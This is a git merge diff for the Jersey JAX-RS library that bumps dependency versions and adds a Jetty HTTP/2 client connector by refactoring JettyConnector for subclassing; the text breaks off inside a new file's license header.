Merge remote-tracking branch 'upstream/2.x' into 'upstream/3.0'

Signed-off-by: Maxim Nesen <maxim.nesen@oracle.com>
diff --git a/NOTICE.md b/NOTICE.md
index 2c45634..7391616 100644
--- a/NOTICE.md
+++ b/NOTICE.md
@@ -70,10 +70,10 @@
 * Project: http://www.javassist.org/

 * Copyright (C) 1999- Shigeru Chiba. All Rights Reserved.

 

-Jackson JAX-RS Providers Version 2.14.1

+Jackson JAX-RS Providers Version 2.15.2

 * License: Apache License, 2.0

 * Project: https://github.com/FasterXML/jackson-jaxrs-providers

-* Copyright: (c) 2009-2022 FasterXML, LLC. All rights reserved unless otherwise indicated.

+* Copyright: (c) 2009-2023 FasterXML, LLC. All rights reserved unless otherwise indicated.

 

 jQuery v1.12.4

 * License: jquery.org/license

@@ -95,7 +95,7 @@
 * Project: http://www.kineticjs.com, https://github.com/ericdrowell/KineticJS

 * Copyright: Eric Rowell

 

-org.objectweb.asm Version 9.5

+org.objectweb.asm Version 9.6

 * License: Modified BSD (https://asm.ow2.io/license.html)

 * Copyright (c) 2000-2011 INRIA, France Telecom. All rights reserved.

 

diff --git a/archetypes/jersey-heroku-webapp/src/main/resources/archetype-resources/pom.xml b/archetypes/jersey-heroku-webapp/src/main/resources/archetype-resources/pom.xml
index f800680..dd385f7 100644
--- a/archetypes/jersey-heroku-webapp/src/main/resources/archetype-resources/pom.xml
+++ b/archetypes/jersey-heroku-webapp/src/main/resources/archetype-resources/pom.xml
@@ -117,7 +117,7 @@
 
     <properties>
         <jersey.version>${project.version}</jersey.version>
-        <jetty.version>11.0.15</jetty.version>
+        <jetty.version>11.0.17</jetty.version>
         <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
         <surefire.mvn.plugin.version>3.1.2</surefire.mvn.plugin.version>
         <war.mvn.plugin.version>3.4.0</war.mvn.plugin.version>
diff --git a/bom/pom.xml b/bom/pom.xml
index e70010e..e5eb354 100644
--- a/bom/pom.xml
+++ b/bom/pom.xml
@@ -85,6 +85,11 @@
             </dependency>
             <dependency>
                 <groupId>org.glassfish.jersey.connectors</groupId>
+                <artifactId>jersey-jetty-http2-connector</artifactId>
+                <version>${project.version}</version>
+            </dependency>
+            <dependency>
+                <groupId>org.glassfish.jersey.connectors</groupId>
                 <artifactId>jersey-jdk-connector</artifactId>
                 <version>${project.version}</version>
             </dependency>
@@ -100,6 +105,11 @@
             </dependency>
             <dependency>
                 <groupId>org.glassfish.jersey.containers</groupId>
+                <artifactId>jersey-container-jetty-http2</artifactId>
+                <version>${project.version}</version>
+            </dependency>
+            <dependency>
+                <groupId>org.glassfish.jersey.containers</groupId>
                 <artifactId>jersey-container-grizzly2-http</artifactId>
                 <version>${project.version}</version>
             </dependency>
@@ -155,6 +165,11 @@
             </dependency>
             <dependency>
                 <groupId>org.glassfish.jersey.ext</groupId>
+                <artifactId>jersey-micrometer</artifactId>
+                <version>${project.version}</version>
+            </dependency>
+            <dependency>
+                <groupId>org.glassfish.jersey.ext</groupId>
                 <artifactId>jersey-metainf-services</artifactId>
                 <version>${project.version}</version>
             </dependency>
diff --git a/bundles/apidocs/pom.xml b/bundles/apidocs/pom.xml
index 073f826..33c6b72 100644
--- a/bundles/apidocs/pom.xml
+++ b/bundles/apidocs/pom.xml
@@ -103,6 +103,11 @@
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.connectors</groupId>
+            <artifactId>jersey-jetty-http2-connector</artifactId>
+            <version>${project.version}</version>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.connectors</groupId>
             <artifactId>jersey-netty-connector</artifactId>
             <version>${project.version}</version>
         </dependency>
@@ -218,6 +223,11 @@
             <version>${project.version}</version>
         </dependency>
         <dependency>
+            <groupId>org.glassfish.jersey.ext</groupId>
+            <artifactId>jersey-micrometer</artifactId>
+            <version>${project.version}</version>
+        </dependency>
+        <dependency>
             <groupId>org.glassfish.jersey.ext.microprofile</groupId>
             <artifactId>jersey-mp-config</artifactId>
             <version>${project.version}</version>
diff --git a/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyConnector.java b/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyConnector.java
index 825a231..d85ec4d 100644
--- a/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyConnector.java
+++ b/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyConnector.java
@@ -16,45 +16,33 @@
 
 package org.glassfish.jersey.jetty.connector;
 
-import java.io.ByteArrayInputStream;
-import java.io.ByteArrayOutputStream;
-import java.io.FilterInputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-import java.net.CookieStore;
-import java.net.URI;
-import java.nio.ByteBuffer;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Map;
-import java.util.Optional;
-import java.util.concurrent.CancellationException;
-import java.util.concurrent.CompletableFuture;
-import java.util.concurrent.Future;
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.atomic.AtomicBoolean;
-import java.util.concurrent.atomic.AtomicReference;
-import java.util.logging.Level;
-import java.util.logging.Logger;
-
 import jakarta.ws.rs.ProcessingException;
 import jakarta.ws.rs.client.Client;
 import jakarta.ws.rs.core.Configuration;
-import jakarta.ws.rs.core.HttpHeaders;
 import jakarta.ws.rs.core.MultivaluedMap;
-
-import javax.net.ssl.SSLContext;
-
-import jakarta.ws.rs.ext.RuntimeDelegate;
+import org.eclipse.jetty.client.HttpClient;
 import org.eclipse.jetty.client.HttpClientTransport;
-import org.eclipse.jetty.client.HttpRequest;
+import org.eclipse.jetty.client.HttpProxy;
+import org.eclipse.jetty.client.ProxyConfiguration;
+import org.eclipse.jetty.client.api.AuthenticationStore;
+import org.eclipse.jetty.client.api.ContentProvider;
+import org.eclipse.jetty.client.api.ContentResponse;
+import org.eclipse.jetty.client.api.Request;
+import org.eclipse.jetty.client.api.Response;
+import org.eclipse.jetty.client.api.Result;
 import org.eclipse.jetty.client.http.HttpClientTransportOverHTTP;
-import org.eclipse.jetty.io.ClientConnector;
 import org.eclipse.jetty.client.util.BasicAuthentication;
 import org.eclipse.jetty.client.util.BytesContentProvider;
 import org.eclipse.jetty.client.util.FutureResponseListener;
 import org.eclipse.jetty.client.util.OutputStreamContentProvider;
+import org.eclipse.jetty.http.HttpField;
+import org.eclipse.jetty.http.HttpFields;
+import org.eclipse.jetty.http.HttpHeader;
+import org.eclipse.jetty.io.ClientConnector;
+import org.eclipse.jetty.util.HttpCookieStore;
+import org.eclipse.jetty.util.Jetty;
+import org.eclipse.jetty.util.ssl.SslContextFactory;
+import org.eclipse.jetty.util.thread.QueuedThreadPool;
 import org.glassfish.jersey.client.ClientProperties;
 import org.glassfish.jersey.client.ClientRequest;
 import org.glassfish.jersey.client.ClientResponse;
@@ -67,22 +55,30 @@
 import org.glassfish.jersey.message.internal.OutboundMessageContext;
 import org.glassfish.jersey.message.internal.Statuses;
 
-import org.eclipse.jetty.client.HttpClient;
-import org.eclipse.jetty.client.HttpProxy;
-import org.eclipse.jetty.client.ProxyConfiguration;
-import org.eclipse.jetty.client.api.AuthenticationStore;
-import org.eclipse.jetty.client.api.ContentProvider;
-import org.eclipse.jetty.client.api.ContentResponse;
-import org.eclipse.jetty.client.api.Request;
-import org.eclipse.jetty.client.api.Response;
-import org.eclipse.jetty.client.api.Result;
-import org.eclipse.jetty.http.HttpField;
-import org.eclipse.jetty.http.HttpFields;
-import org.eclipse.jetty.http.HttpHeader;
-import org.eclipse.jetty.util.HttpCookieStore;
-import org.eclipse.jetty.util.Jetty;
-import org.eclipse.jetty.util.ssl.SslContextFactory;
-import org.eclipse.jetty.util.thread.QueuedThreadPool;
+import javax.net.ssl.SSLContext;
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.FilterInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.net.CookieStore;
+import java.net.URI;
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.Optional;
+import java.util.concurrent.CancellationException;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.Future;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicBoolean;
+import java.util.concurrent.atomic.AtomicReference;
+import java.util.function.Consumer;
+import java.util.logging.Level;
+import java.util.logging.Logger;
 
 /**
  * A {@link Connector} that utilizes the Jetty HTTP Client to send and receive
@@ -133,7 +129,7 @@
  * @author Arul Dhesiaseelan (aruld at acm.org)
  * @author Marek Potociar
  */
-class JettyConnector implements Connector {
+public class JettyConnector implements Connector {
 
     private static final Logger LOGGER = Logger.getLogger(JettyConnector.class.getName());
 
@@ -148,23 +144,17 @@
      * @param jaxrsClient JAX-RS client instance, for which the connector is created.
      * @param config client configuration.
      */
-    JettyConnector(final Client jaxrsClient, final Configuration config) {
+    protected JettyConnector(final Client jaxrsClient, final Configuration config) {
         this.configuration = config;
-        HttpClient httpClient = null;
-        if (config.isRegistered(JettyHttpClientSupplier.class)) {
-            Optional<Object> contract = config.getInstances().stream()
-                    .filter(a-> JettyHttpClientSupplier.class.isInstance(a)).findFirst();
-            if (contract.isPresent()) {
-                httpClient = ((JettyHttpClientSupplier) contract.get()).getHttpClient();
-            }
-        }
+        HttpClient httpClient = getRegisteredHttpClient(config);
+
         if (httpClient == null) {
             final SSLContext sslContext = jaxrsClient.getSslContext();
             final SslContextFactory.Client sslContextFactory = new SslContextFactory.Client(false);
             sslContextFactory.setSslContext(sslContext);
             final ClientConnector connector = new ClientConnector();
             connector.setSslContextFactory(sslContextFactory);
-            final HttpClientTransport transport = new HttpClientTransportOverHTTP(connector);
+            final HttpClientTransport transport = initClientTransport(connector);
             httpClient = new HttpClient(transport);
         }
         this.client = httpClient;
@@ -203,7 +193,7 @@
         proxy.ifPresent(clientProxy -> {
             final ProxyConfiguration proxyConfig = client.getProxyConfiguration();
             final URI u = clientProxy.uri();
-            proxyConfig.getProxies().add(new HttpProxy(u.getHost(), u.getPort()));
+            proxyConfig.addProxy(new HttpProxy(u.getHost(), u.getPort()));
 
             if (clientProxy.userName() != null) {
                 auth.addAuthentication(new BasicAuthentication(u, "<<ANY_REALM>>",
@@ -234,6 +224,37 @@
     }
 
     /**
+     * provides required HTTP client transport for client
+     *
+     * the default transport is {@link HttpClientTransportOverHTTP}
+     *
+     * @return instance of {@link HttpClientTransport}
+     * @since 2.41
+     */
+    protected HttpClientTransport initClientTransport(ClientConnector clientConnector) {
+        return new HttpClientTransportOverHTTP(clientConnector);
+    }
+
+    /**
+     * provides custom registered {@link HttpClient} if any (or NULL)
+     *
+     * @param config configuration where {@link HttpClient} could be registered
+     * @return {@link HttpClient} instance if any was previously registered or NULL
+     *
+     * @since 2.41
+     */
+    protected HttpClient getRegisteredHttpClient(Configuration config) {
+        if (config.isRegistered(JettyHttpClientSupplier.class)) {
+            Optional<Object> contract = config.getInstances().stream()
+                    .filter(a-> JettyHttpClientSupplier.class.isInstance(a)).findFirst();
+            if (contract.isPresent()) {
+                return  ((JettyHttpClientSupplier) contract.get()).getHttpClient();
+            }
+        }
+        return null;
+    }
+
+    /**
      * Get the {@link HttpClient}.
      *
      * @return the {@link HttpClient}.
@@ -256,10 +277,13 @@
     @Override
     public ClientResponse apply(final ClientRequest jerseyRequest) throws ProcessingException {
         final Request jettyRequest = translateRequest(jerseyRequest);
-        final Map<String, String> clientHeadersSnapshot = writeOutBoundHeaders(jerseyRequest.getHeaders(), jettyRequest);
-        final ContentProvider entity = getBytesProvider(jerseyRequest);
+        final Map<String, String> clientHeadersSnapshot = new HashMap<>();
+        final ContentProvider entity =
+                getBytesProvider(jerseyRequest, jerseyRequest.getHeaders(), clientHeadersSnapshot, jettyRequest);
         if (entity != null) {
             jettyRequest.content(entity);
+        } else {
+            clientHeadersSnapshot.putAll(writeOutBoundHeaders(jerseyRequest.getHeaders(), jettyRequest));
         }
 
         try {
@@ -340,19 +364,22 @@
 
     private Map<String, String> writeOutBoundHeaders(final MultivaluedMap<String, Object> headers, final Request request) {
         final Map<String, String> stringHeaders = HeaderUtils.asStringHeadersSingleValue(headers, configuration);
-
-        // remove User-agent header set by Jetty; Jersey already sets this in its request (incl. Jetty version)
-        request.headers(httpFields -> httpFields.remove(HttpHeader.USER_AGENT));
-        if (request instanceof HttpRequest) {
-            final HttpRequest httpRequest = (HttpRequest) request;
+        final Consumer<HttpFields.Mutable> mutableConsumer = httpFields -> {
+            // remove User-agent header set by Jetty; Jersey already sets this in its request (incl. Jetty version)
+            httpFields.remove(HttpHeader.USER_AGENT);
             for (final Map.Entry<String, String> e : stringHeaders.entrySet()) {
-                httpRequest.addHeader(new HttpField(e.getKey(), e.getValue()));
+                httpFields.put(e.getKey(), e.getValue());
             }
-        }
+        };
+        request.headers(mutableConsumer);
+
         return stringHeaders;
     }
 
-    private ContentProvider getBytesProvider(final ClientRequest clientRequest) {
+    private ContentProvider getBytesProvider(final ClientRequest clientRequest,
+                                             final MultivaluedMap<String, Object> headers,
+                                             final Map<String, String> snapshot,
+                                             final Request request) {
         final Object entity = clientRequest.getEntity();
 
         if (entity == null) {
@@ -363,6 +390,7 @@
         clientRequest.setStreamProvider(new OutboundMessageContext.StreamProvider() {
             @Override
             public OutputStream getOutputStream(final int contentLength) throws IOException {
+                snapshot.putAll(writeOutBoundHeaders(headers, request));
                 return outputStream;
             }
         });
diff --git a/connectors/jetty-http2-connector/pom.xml b/connectors/jetty-http2-connector/pom.xml
new file mode 100644
index 0000000..2142f7e
--- /dev/null
+++ b/connectors/jetty-http2-connector/pom.xml
@@ -0,0 +1,302 @@
+<?xml version="1.0"?>
+<!--
+
+    Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+
+    This program and the accompanying materials are made available under the
+    terms of the Eclipse Public License v. 2.0, which is available at
+    http://www.eclipse.org/legal/epl-2.0.
+
+    This Source Code may also be made available under the following Secondary
+    Licenses when the conditions for such availability set forth in the
+    Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+    version 2 with the GNU Classpath Exception, which is available at
+    https://www.gnu.org/software/classpath/license.html.
+
+    SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+
+-->
+
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+    <modelVersion>4.0.0</modelVersion>
+
+    <parent>
+        <groupId>org.glassfish.jersey.connectors</groupId>
+        <artifactId>project</artifactId>
+        <version>3.0.99-SNAPSHOT</version>
+    </parent>
+
+    <artifactId>jersey-jetty-http2-connector</artifactId>
+    <packaging>jar</packaging>
+    <name>jersey-connectors-jetty-http2</name>
+
+    <description>Jersey Client Transport via Jetty</description>
+
+    <properties>
+        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
+        <java8.build.outputDirectory>${project.basedir}/target</java8.build.outputDirectory>
+        <java8.sourceDirectory>${project.basedir}/src/main/java8</java8.sourceDirectory>
+        <java11.build.outputDirectory>${project.basedir}/target11</java11.build.outputDirectory>
+        <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory>
+    </properties>
+
+    <dependencies>
+        <dependency>
+            <groupId>org.eclipse.jetty</groupId>
+            <artifactId>jetty-client</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>org.eclipse.jetty.http2</groupId>
+            <artifactId>http2-client</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>org.eclipse.jetty.http2</groupId>
+            <artifactId>http2-http-client-transport</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>org.eclipse.jetty</groupId>
+            <artifactId>jetty-util</artifactId>
+        </dependency>
+
+        <dependency>
+            <groupId>org.glassfish.jersey.connectors</groupId>
+            <artifactId>jersey-jetty-connector</artifactId>
+            <version>${project.version}</version>
+        </dependency>
+
+        <dependency>
+            <groupId>org.glassfish.jersey.media</groupId>
+            <artifactId>jersey-media-jaxb</artifactId>
+            <version>${project.version}</version>
+            <scope>test</scope>
+        </dependency>
+
+        <dependency>
+            <groupId>org.glassfish.jersey.containers</groupId>
+            <artifactId>jersey-container-jetty-http2</artifactId>
+            <version>${project.version}</version>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.media</groupId>
+            <artifactId>jersey-media-json-jackson</artifactId>
+            <version>${project.version}</version>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.test-framework.providers</groupId>
+            <artifactId>jersey-test-framework-provider-jetty-http2</artifactId>
+            <version>${project.version}</version>
+            <scope>test</scope>
+        </dependency>
+    </dependencies>
+
+    <build>
+        <plugins>
+            <plugin>
+                <groupId>com.sun.istack</groupId>
+                <artifactId>istack-commons-maven-plugin</artifactId>
+                <inherited>true</inherited>
+            </plugin>
+            <plugin>
+                <groupId>org.codehaus.mojo</groupId>
+                <artifactId>build-helper-maven-plugin</artifactId>
+                <inherited>true</inherited>
+            </plugin>
+            <plugin>
+                <groupId>org.apache.maven.plugins</groupId>
+                <artifactId>maven-compiler-plugin</artifactId>
+            </plugin>
+            <plugin>
+                <groupId>org.apache.felix</groupId>
+                <artifactId>maven-bundle-plugin</artifactId>
+                <inherited>true</inherited>
+                <configuration>
+                    <instructions>
+                        <Import-Package>
+                            ${jetty.osgi.version},
+                            *
+                        </Import-Package>
+                    </instructions>
+                </configuration>
+            </plugin>
+        </plugins>
+    </build>
+
+    <profiles>
+        <profile>
+            <id>jdk11+</id>
+            <activation>
+                <jdk>[11,)</jdk>
+            </activation>
+            <dependencies>
+                <dependency>
+                    <groupId>com.sun.xml.bind</groupId>
+                    <artifactId>jaxb-osgi</artifactId>
+                    <scope>test</scope>
+                </dependency>
+            </dependencies>
+        </profile>
+        <profile>
+            <id>JettyExclude</id>
+            <activation>
+                <jdk>1.8</jdk>
+            </activation>
+            <properties>
+                <jetty.version>${jetty9.version}</jetty.version>
+            </properties>
+            <dependencies>
+                <dependency>
+                    <groupId>org.eclipse.jetty</groupId>
+                    <artifactId>jetty-client</artifactId>
+                    <version>${jetty.version}</version>
+                    <exclusions>
+                        <exclusion>
+                            <groupId>org.slf4j</groupId>
+                            <artifactId>slf4j-api</artifactId>
+                        </exclusion>
+                    </exclusions>
+                </dependency>
+                <dependency>
+                    <groupId>org.eclipse.jetty</groupId>
+                    <artifactId>jetty-util</artifactId>
+                    <version>${jetty.version}</version>
+                    <exclusions>
+                        <exclusion>
+                            <groupId>org.slf4j</groupId>
+                            <artifactId>slf4j-api</artifactId>
+                        </exclusion>
+                    </exclusions>
+                </dependency>
+            </dependencies>
+            <build>
+                <directory>${java8.build.outputDirectory}</directory>
+                <plugins>
+                    <plugin>
+                        <groupId>org.codehaus.mojo</groupId>
+                        <artifactId>build-helper-maven-plugin</artifactId>
+                        <executions>
+                            <execution>
+                                <phase>generate-sources</phase>
+                                <goals>
+                                    <goal>add-source</goal>
+                                </goals>
+                                <configuration>
+                                    <sources>
+                                        <source>${java8.sourceDirectory}</source>
+                                    </sources>
+                                </configuration>
+                            </execution>
+                        </executions>
+                    </plugin>
+                    <plugin>
+                        <groupId>org.apache.maven.plugins</groupId>
+                        <artifactId>maven-compiler-plugin</artifactId>
+                        <configuration>
+                            <testExcludes>
+                                <testExclude>org/glassfish/jersey/jetty/http2/connector/*.java</testExclude>
+                            </testExcludes>
+                        </configuration>
+                    </plugin>
+                </plugins>
+            </build>
+        </profile>
+        <profile>
+            <id>Jetty11</id>
+            <activation>
+                <jdk>[11,)</jdk>
+            </activation>
+            <build>
+                <directory>${java11.build.outputDirectory}</directory>
+                <plugins>
+                    <plugin>
+                        <groupId>org.codehaus.mojo</groupId>
+                        <artifactId>build-helper-maven-plugin</artifactId>
+                        <executions>
+                            <execution>
+                                <phase>generate-sources</phase>
+                                <goals>
+                                    <goal>add-source</goal>
+                                </goals>
+                                <configuration>
+                                    <sources>
+                                        <source>${java11.sourceDirectory}</source>
+                                    </sources>
+                                </configuration>
+                            </execution>
+                        </executions>
+                    </plugin>
+                </plugins>
+            </build>
+        </profile>
+        <profile>
+            <id>copyJDK11FilesToMultiReleaseJar</id>
+            <activation>
+                <file>
+                    <!-- ${java11.build.outputDirectory} does not work here -->
+                    <exists>target11/classes/org/glassfish/jersey/jetty/connector/JettyHttp2ConnectorProvider.class</exists>
+                </file>
+                <jdk>1.8</jdk>
+            </activation>
+            <build>
+                <plugins>
+                    <plugin>
+                        <groupId>org.apache.felix</groupId>
+                        <artifactId>maven-bundle-plugin</artifactId>
+                        <inherited>true</inherited>
+                        <extensions>true</extensions>
+                        <configuration>
+                            <instructions>
+                                <Multi-Release>true</Multi-Release>
+                            </instructions>
+                        </configuration>
+                    </plugin>
+                    <plugin>
+                        <groupId>org.apache.maven.plugins</groupId>
+                        <artifactId>maven-resources-plugin</artifactId>
+                        <inherited>true</inherited>
+                        <executions>
+                            <execution>
+                                <id>copy-jdk11-classes</id>
+                                <phase>prepare-package</phase>
+                                <goals>
+                                    <goal>copy-resources</goal>
+                                </goals>
+                                <configuration>
+                                    <outputDirectory>${java8.build.outputDirectory}/classes/META-INF/versions/11</outputDirectory>
+                                    <resources>
+                                        <resource>
+                                            <directory>${java11.build.outputDirectory}/classes</directory>
+                                        </resource>
+                                    </resources>
+                                </configuration>
+                            </execution>
+                        </executions>
+                    </plugin>
+                    <plugin>
+                        <groupId>org.apache.maven.plugins</groupId>
+                        <artifactId>maven-antrun-plugin</artifactId>
+                        <executions>
+                            <execution>
+                                <id>copy-jdk11-sources</id>
+                                <phase>package</phase>
+                                <configuration>
+                                    <target>
+                                        <property name="sources-jar" value="${java8.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
+                                        <echo>sources-jar: ${sources-jar}</echo>
+                                        <zip destfile="${sources-jar}" update="true">
+                                            <zipfileset dir="${java11.sourceDirectory}" prefix="META-INF/versions/11"/>
+                                        </zip>
+                                    </target>
+                                </configuration>
+                                <goals>
+                                    <goal>run</goal>
+                                </goals>
+                            </execution>
+                        </executions>
+                    </plugin>
+                </plugins>
+            </build>
+        </profile>
+    </profiles>
+</project>
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/package-info.java b/connectors/jetty-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/package-info.java
new file mode 100644
index 0000000..960bbb6
--- /dev/null
+++ b/connectors/jetty-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/package-info.java
@@ -0,0 +1,21 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+/**
+ * Jersey HTTP2 client {@link org.glassfish.jersey.client.spi.Connector connector} based on the
+ * Jetty Client.
+ */
+package org.glassfish.jersey.jetty.http2.connector;
diff --git a/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java b/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
new file mode 100644
index 0000000..454efd0
--- /dev/null
+++ b/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.eclipse.jetty.client.HttpClient;
+import org.eclipse.jetty.client.HttpClientTransport;
+import org.eclipse.jetty.http2.client.HTTP2Client;
+import org.eclipse.jetty.http2.client.http.HttpClientTransportOverHTTP2;
+import org.glassfish.jersey.jetty.connector.JettyConnector;
+import org.glassfish.jersey.jetty.connector.JettyHttpClientContract;
+import org.glassfish.jersey.jetty.connector.JettyHttpClientSupplier;
+
+/**
+ * HTTP/2 enabled version of the {@link JettyHttpClientSupplier}
+ *
+ * @since 2.41
+ */
+public class JettyHttp2ClientSupplier implements JettyHttpClientContract {
+    private final HttpClient http2Client;
+
+    /**
+     * default Http2Client created for the supplier.
+     */
+    public JettyHttp2ClientSupplier() {
+        this(createHttp2Client());
+    }
+    /**
+     * supplier for the {@code HttpClient} with {@code HttpClientTransportOverHTTP2} to be optionally registered
+     * to a {@link org.glassfish.jersey.client.ClientConfig}
+     * @param http2Client a HttpClient to be supplied when {@link JettyConnector#getHttpClient()} is called.
+     */
+    public JettyHttp2ClientSupplier(HttpClient http2Client) {
+        this.http2Client = http2Client;
+    }
+
+    private static final HttpClient createHttp2Client() {
+        final HttpClientTransport transport =  new HttpClientTransportOverHTTP2(new HTTP2Client());
+        return new HttpClient(transport);
+    }
+
+    @Override
+    public HttpClient getHttpClient() {
+        return http2Client;
+    }
+}
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java b/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java
new file mode 100644
index 0000000..7f1e45d
--- /dev/null
+++ b/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java
@@ -0,0 +1,81 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.core.Configuration;
+
+import org.eclipse.jetty.client.HttpClient;
+import org.eclipse.jetty.client.HttpClientTransport;
+import org.eclipse.jetty.http2.client.HTTP2Client;
+import org.eclipse.jetty.http2.client.http.HttpClientTransportOverHTTP2;
+import org.eclipse.jetty.io.ClientConnector;
+import org.glassfish.jersey.jetty.connector.JettyConnector;
+
+import java.util.Optional;
+
+/**
+ * Extends {@link JettyConnector} with HTTP/2 transport support
+ *
+ * @since 2.41
+ */
+class JettyHttp2Connector extends JettyConnector {
+
+
+    /**
+     * Create the new Jetty HTTP/2 client connector.
+     *
+     * @param jaxrsClient JAX-RS client instance, for which the connector is created.
+     * @param config      client configuration.
+     */
+    JettyHttp2Connector(Client jaxrsClient, Configuration config) {
+        super(jaxrsClient, config);
+    }
+
+    /**
+     * provides required {@link HttpClientTransport} for client
+     *
+     * The overriden method provides {@link HttpClientTransportOverHTTP2} with initialized {@link HTTP2Client}
+     *
+     * @return {@link HttpClientTransportOverHTTP2}
+     * @since 2.41
+     */
+    @Override
+    protected HttpClientTransport initClientTransport(ClientConnector clientConnector) {
+        return new HttpClientTransportOverHTTP2(new HTTP2Client(clientConnector));
+    }
+
+    /**
+     * provides custom registered {@link HttpClient} (if any) with HTTP/2 support
+     *
+     * @param config configuration where {@link HttpClient} could be registered
+     * @return {@link HttpClient} instance if any was previously registered or NULL
+     *
+     * @since 2.41
+     */
+    @Override
+    protected HttpClient getRegisteredHttpClient(Configuration config) {
+        if (config.isRegistered(JettyHttp2ClientSupplier.class)) {
+            Optional<Object> contract = config.getInstances().stream()
+                    .filter(a-> JettyHttp2ClientSupplier.class.isInstance(a)).findFirst();
+            if (contract.isPresent()) {
+                return  ((JettyHttp2ClientSupplier) contract.get()).getHttpClient();
+            }
+        }
+        return null;
+    }
+}
diff --git a/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java b/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java
new file mode 100644
index 0000000..02eaf5a
--- /dev/null
+++ b/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
